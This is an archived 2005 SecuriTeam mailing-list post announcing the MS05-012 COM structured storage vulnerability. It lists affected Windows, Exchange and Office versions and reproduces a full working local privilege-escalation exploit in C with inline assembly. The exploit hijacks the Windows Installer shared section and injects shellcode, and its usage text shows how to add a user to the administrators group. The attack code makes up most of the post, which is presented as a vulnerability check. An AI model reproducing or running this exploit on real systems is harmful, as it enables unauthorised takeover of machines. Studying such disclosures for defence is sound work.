[EXPL] Vulnerability in OLE and COM Allows Remote Code Execution (Exploit, MS05-012)

• Previous message: SecuriTeam: "[EXPL] IBM AIX invscout Local Exploit"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 31 May 2005 17:21:41 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  Vulnerability in OLE and COM Allows Remote Code Execution (Exploit,
MS05-012)
------------------------------------------------------------------------

SUMMARY

A privilege elevation vulnerability exists in the way that the affected
operating systems and programs access memory when they process COM
structured storage files. This vulnerability could allow a logged on user
to take complete control of the system. The following exploit code can be
used to determine whether your system is vulnerable or not.

DETAILS

Affected Software:
 * Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000
Service Pack 4
 * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service
Pack 2
 * Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
 * Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
 * Microsoft Windows Server 2003
 * Microsoft Windows Server 2003 for Itanium-based Systems
 * Microsoft Exchange 2000 Server Service Pack 3 (uses the Windows OLE
component)
 * Microsoft Exchange Server 2003 and Microsoft Exchange Server 2003
Service Pack 1 (uses the Windows OLE component)
 * Microsoft Exchange Server 5.0 Service Pack 2 (uses the Windows OLE
component)
 * Microsoft Exchange Server 5.5 Service Pack 4 (uses the Windows OLE
component)
 * Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and
Microsoft Windows Millennium Edition (ME) Review the FAQ section of this
bulletin for details about these operating systems.
 * Microsoft Office XP Service Pack 3 (uses the Windows OLE component)
 * Microsoft Office XP Service Pack 2 (uses the Windows OLE component)
 * Microsoft Office XP Software:
 * Outlook 2002
 * Word 2002
 * Excel 2002
 * PowerPoint 2002
 * FrontPage 2002
 * Publisher 2002
 * Access 2002
 * Microsoft Office 2003 Service Pack 1 (Uses the Windows OLE component)
 * Microsoft Office 2003 (Uses the Windows OLE component)
 * Microsoft Office 2003 Software:
 * Outlook 2003
 * Word 2003
 * Excel 2003
 * PowerPoint 2003
 * FrontPage 2003
 * Publisher 2003
 * Access 2003
 * InfoPath 2003
 * OneNote 2003

Exploit:
// by Cesar Cerrudo - Argeniss - www.argeniss.com
// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
//
// More exploits at www.argeniss.com/products.html
//
// Works on Win2k sp4, WinXP sp2, Win2k3 sp0
// Close all runing programs to avoid possible problems
// If it finds the section and it doesn't work remove section permissions
// from msiexec service process with WinObj or crash the msiexec service
and try again
// if offsets don't work, debug and change them

#include <windows.h>
#include <stdio.h>

typedef struct _LSA_UNICODE_STRING {
 USHORT Length;
 USHORT MaximumLength;
 PWSTR Buffer;
} UNICODE_STRING;

typedef struct _OBJDIR_INFORMATION {
  UNICODE_STRING ObjectName;
  UNICODE_STRING ObjectTypeName;
  BYTE Data[1];
} OBJDIR_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING *ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
    (p)->RootDirectory = r; \
    (p)->Attributes = a; \
    (p)->ObjectName = n; \
    (p)->SecurityDescriptor = s; \
    (p)->SecurityQualityOfService = NULL; \
    }

typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR
szCommandLine);
MSIINSTALLPRODUCT MsiInstallProduct;

typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE,
OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;

typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *,
DWORD,OBJECT_ATTRIBUTES* );
NTOPENDIRECTORYOBJECT NtOpenDirectoryObject;

DWORD WINAPI LoadWinInstaller(LPVOID lpParam)
{
 HMODULE hMsi;

 hMsi = LoadLibrary("msi.dll");
 MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi,
"MsiInstallProductA");
  //run unistall , without permissions this makes a windows pop up
  //while this window is showing the shared section is created and
available on Windows Installer service process
 MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
  
 return 0;
}

int main(int argc, char* argv[])
{

  OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* )
HeapAlloc(GetProcessHeap(), 0, 0x800);

  HANDLE hFile,hThread,hMapFile;
  HMODULE hNtdll ,hKernel;
  DWORD dwThreadId;
  OBJECT_ATTRIBUTES obj;
  WCHAR * uString=L"\\BaseNamedObjects";
  UNICODE_STRING str;
  DWORD i,a,iStrLen,b=0;
  char sObjName[30],sTmp[50];
  LPVOID lpMapAddress;
  FARPROC pWinExec,pExitThread;
  bool bFound;
  char* sCommand;

  if (!argv[1]||!argv[2]) {
 printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\"
\n");
 printf("\nExamples :\n SSExploit \"c:\\windows\\system32\\webfldrs.msi\"
\"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n SSExploit
\"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators
/add youruser\" \n");
 exit(0);
  }
    
  iStrLen=strlen(argv[2]);

  if(iStrLen>=65){
 printf("\n\"command\" must be less than 65 chars.\n");
 exit(0);
  }

  sCommand=argv[2];

  hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId);

  Sleep(3000);

  hNtdll = LoadLibrary("ntdll.dll");

  NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT
)GetProcAddress(hNtdll,"NtQueryDirectoryObject");
  NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT
)GetProcAddress(hNtdll,"NtOpenDirectoryObject");
  
  str.Length=wcslen(uString)*2;
  str.MaximumLength =wcslen(uString)*2+2;
  str.Buffer =uString;

  InitializeObjectAttributes (&obj, &str, 0, 0, 00);
  NtOpenDirectoryObject(&hFile,0x20001,&obj);

  printf("\nSearching for Shared Section...\n\n");

  // Get all objects names under \BaseNamedObjects

  if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
 do{
  bFound=NULL;
  while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
    //check if it's a section name
   if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){
    for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
     sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
    }
        //check if it's the one we are searching for
    if (!strncmp(sObjName,"DfSharedHeap",12)){
     bFound=1;
     break;
    }
   }
  }
  if (bFound)
   printf("Shared Section Found: %s\n",sObjName);
  else {
   printf("Shared Section Not Found");
   exit(0);
  }
    
  strcpy(sTmp,"Global\\");
  strcat(sTmp,sObjName); //append global prefix to support Terminal
Services

  hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp);
 
      //the shared section name couldn't be the one we are searching for
  if (hMapFile == NULL)
   printf("Could not open Shared Section\n\n");
  else
   printf("Shared Section opened\n\n");
 
 } while (hMapFile == NULL) ;

 lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
 
 if (lpMapAddress == NULL) {
  printf("Could not map Shared Section");
  exit(0);
 }
 else
  printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting
Shellcode...\n\n");

 hKernel=LoadLibrary("Kernel32.dll");
 
 pWinExec=GetProcAddress(hKernel,"WinExec");
 pExitThread=GetProcAddress(hKernel,"ExitThread");

 _asm{
   
  mov eax,fs:[30h] // get pointer to PEB
  mov eax,[eax+0A8h] // get OS minor version
  cmp eax,0x0
  jz W2ksp4
  cmp eax,0x1
  jz WinXPsp2
  jmp Win2K3 // address of section seems static on same OS version
     
 W2Ksp4:
  mov eax,0x0101FFF0 // address of begining of section - 0x10 used to
overwrite pointer
  mov edx,0x01020004 // address of shellcode
  jmp Done
 
 WinXPsp2:
  mov eax,0x0086FFF0 // address of begining of section - 0x10 used to
overwrite pointer
  mov edx,0x00870004 // address of shellcode
  jmp Done
 
 Win2K3:
  mov eax,0x007BFFF0 // address of begining of section - 0x10 used to
overwrite pointer
  mov edx,0x007C0004 // address of shellcode

 Done:
  mov ebx,lpMapAddress
  mov ecx, 0x1000

 l00p: // overwrite section data, so overwriten structures will point to
shellcode
  mov dword ptr[ebx],eax
  sub ecx,0x4
  add ebx,0x4
  cmp ecx,0x0
  jnz l00p

  mov ebx,lpMapAddress //address of shellcode
  mov dword ptr[ebx],edx
  
 //start copying shellcode
    
  lea esi, Shellcode
  lea edi, [ebx+4]
  lea ecx, End
  sub ecx, esi
  push esi
  push edi
  cld
  rep movsb

  pop edi
  pop esi
  push edi
  lea ecx, CommandBuf
  sub ecx, esi
  add edi, ecx
  mov esi, sCommand
  mov ecx, iStrLen
  rep movsb
  mov [edi], 0x00

  pop edi
  mov esi, pWinExec
  mov [edi+0x5], esi

  mov esi, pExitThread
  mov [edi+0x9], esi

 }

 printf("Command should have been executed ;)\n");
 CloseHandle(hMapFile);

  }
  else printf("Couldn't get object names \n");

  return 0;

 _asm{

 Shellcode:
  call getDelta
    // this gets overwrited
  mov ax,0xffff
  mov ax,0xffff

 CommandBuf: // this gets overwrited
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555
  mov dword ptr[eax],0x55555555

 getDelta:
  pop edx // Get shellcode/shared section pointer
  push edx // save edx

  push 0x1 // push 0x0 for hidden window
  lea eax, [edx+0x8]
  push eax // Command offset
  call [edx] // Call WinExec
       
  pop edx
  call [edx+0x4] // Call ExitThread to avoid msiexec service to crash

 End:
 }
}

/* EOF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:cesarc56@yahoo.com> Cesar .
The original exploit can be found at:
<http://www.argeniss.com/research/SSExploit.c>
http://www.argeniss.com/research/SSExploit.c
The advisory can be found at:
<http://www.securiteam.com/windowsntfocus/5PP002KEVY.html>
http://www.securiteam.com/windowsntfocus/5PP002KEVY.html

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[EXPL] IBM AIX invscout Local Exploit"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]